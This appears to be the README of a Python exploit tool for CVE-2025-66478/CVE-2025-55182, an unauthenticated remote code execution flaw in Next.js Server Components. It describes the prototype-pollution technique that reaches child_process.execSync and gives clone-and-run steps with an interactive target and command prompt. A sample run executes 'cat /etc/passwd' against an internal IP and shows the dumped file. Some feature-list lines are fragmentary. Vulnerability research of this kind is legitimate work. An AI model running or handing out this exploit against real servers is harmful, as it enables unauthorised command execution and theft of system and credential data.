
React2Shell (CVE-2025-66478): A Python-based Proof of Concept for Critical Remote Code Execution (RCE) in Next.js Server Components. Features an interactive CLI, custom payload injection, and cleaner output formatting. For educational research only.
Next.js Remote Code Execution (RCE) via Prototype Pollution in Server Components
This repository contains a Proof of Concept (PoC) for CVE-2025-66478 (also referenced as CVE-2025-55182 in some contexts), a critical vulnerability affecting Next.js applications that use specific versions of React Server Components (RSC).
By manipulating the serialization process of RSCs, an unauthenticated attacker can inject a malicious payload via prototype pollution (__proto__:then). This can lead to execution of arbitrary system commands on the server through child_process.execSync.
Developed by: ArkhamKnight47
multipart/form-data payload.1:E{"digest":...}).\n vs \r\n) for clean output on Windows and Linux targets.requests library# Clone the repository
git clone https://github.com/RavinduRathnayaka/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC
# Install dependencies
pip install requests
python CVE-2025-66478.py
You will be prompted for:
http://localhost:3000id, whoami, cat /etc/passwd[?] TARGET URL > http://192.168.1.5:3000
[?] COMMAND > cat /etc/passwd
[*] EXECUTING EXPLOIT...
[+] PAYLOAD SUCCESSFUL. OUTPUT BELOW:
============================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
============================================================
This tool is provided for educational and security research purposes only.
The author (ArkhamKnight47) takes no responsibility for misuse of this code. Testing this exploit against systems you do not own or do not have explicit permission to test is illegal and unethical.
Use responsibly. Learn ethically. Secure your stack.